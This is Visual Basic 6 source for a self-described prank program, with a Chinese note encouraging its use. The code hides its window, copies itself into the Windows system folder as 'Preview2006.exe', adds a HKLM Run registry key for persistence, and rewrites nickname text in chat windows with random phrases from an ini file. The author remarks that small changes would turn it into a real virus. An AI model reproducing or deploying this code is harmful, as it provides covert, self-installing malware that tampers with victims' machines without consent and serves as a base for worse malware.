模块
Option Explicit
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function UpdateWindow Lib "user32" (ByVal hwnd As Long) As Long
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Const WM_MOUSEMOVE = &H200
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Const GW_HWNDLAST = 1
Public Const GW_HWNDFIRST = 0
Public Const GW_HWNDNEXT = 2
Public Const GW_CHILD = 5
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Const REG_SZ As Long = 1
Const HKEY_LOCAL_MACHINE = &H80000002
Function EnumWindowProc(ByVal hwnd As Long, ByVal lParam As Long) As Long
Dim Str As String
Str = Space(GetWindowTextLength(hwnd) + 1)
GetWindowText hwnd, Str, GetWindowTextLength(hwnd) + 1
If InStr(Str, "聊天中") Or InStr(Str, "发送消息") Then
Dim NickName As String
Dim Hhwnd As Long
Dim Childhwnd As Long
Dim Testhwnd As Long
Hhwnd = FindWindowEx(hwnd, ByVal 0, "#32770", vbNullString)
Childhwnd = GetWindow(Hhwnd, GW_CHILD)
Childhwnd = GetWindow(Childhwnd, GW_HWNDNEXT)
Childhwnd = GetWindow(Childhwnd, GW_HWNDNEXT)
Testhwnd = GetWindow(Childhwnd, GW_HWNDNEXT)
ChangeTitle Testhwnd, Str, NickName
ChangeTitle Childhwnd, Str, NickName
End If
EnumWindowProc = True
End Function
Function ChangeTitle(Childhwnd As Long, Str As String, NickName As String)
Dim Rubbish As Long
Rubbish = FindWindowEx(Childhwnd, ByVal 0, "msctls_updown32", vbNullString)
Childhwnd = FindWindowEx(Childhwnd, ByVal 0, "Static", vbNullString)
ShowWindow Rubbish, 0
Str = Space(GetWindowTextLength(Childhwnd) + 1)
GetWindowText Childhwnd, Str, GetWindowTextLength(Childhwnd) + 1
NickName = Left(Str, InStr(Str, ")") + 1)
SetWindowText Childhwnd, NickName & " " & Replace(Form1.List1.List(Rnd * Form1.List1.ListCount - 1), "/", vbCrLf)
UpdateWindow Childhwnd
SendMessage Childhwnd, WM_MOUSEMOVE, ByVal 0, ByVal 0
End Function
Public Sub Install()
On Error Resume Next
Dim Sysdir As String
Dim Temp As String * 255
Dim hKey As Long
Dim exe As String
Sysdir = Left$(Temp, GetSystemDirectory(Temp, 255))
exe = Sysdir & "\Preview2006.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", exe
RegCreateKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", hKey
RegSetValueEx hKey, "Preview2006", 0, REG_SZ, ByVal exe, Len(exe)
RegCloseKey hKey
End Sub
form
Option Explicit
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Sub Form_Load()
If App.PrevInstance = True Then End
Install
Me.Width = 1
Me.Height = 1
Me.Hide
Call ShowWindow(GetWindow(Me.hwnd, 4), 0)
LoadItem
End Sub
Private Sub Timer1_Timer()
Call EnumWindows(AddressOf EnumWindowProc, 0)
End Sub
Sub LoadItem()
On Error GoTo err
Dim KeyWord As String
Open App.Path & "\Words.ini" For Input As #1
Do Until EOF(1)
Input #1, KeyWord
List1.AddItem KeyWord
Loop
Close #1
err:
Exit Sub
End Sub
在ini文件里添加自定义的内容,内容随便
例如:
I like Cookie/I like Cookie
死死死死死死死死死死死死死死死~
you are pig!!/you are pig!!
这只是个恶作剧的小程序,可捎加改动就可以写成一个有点质量的病毒。 |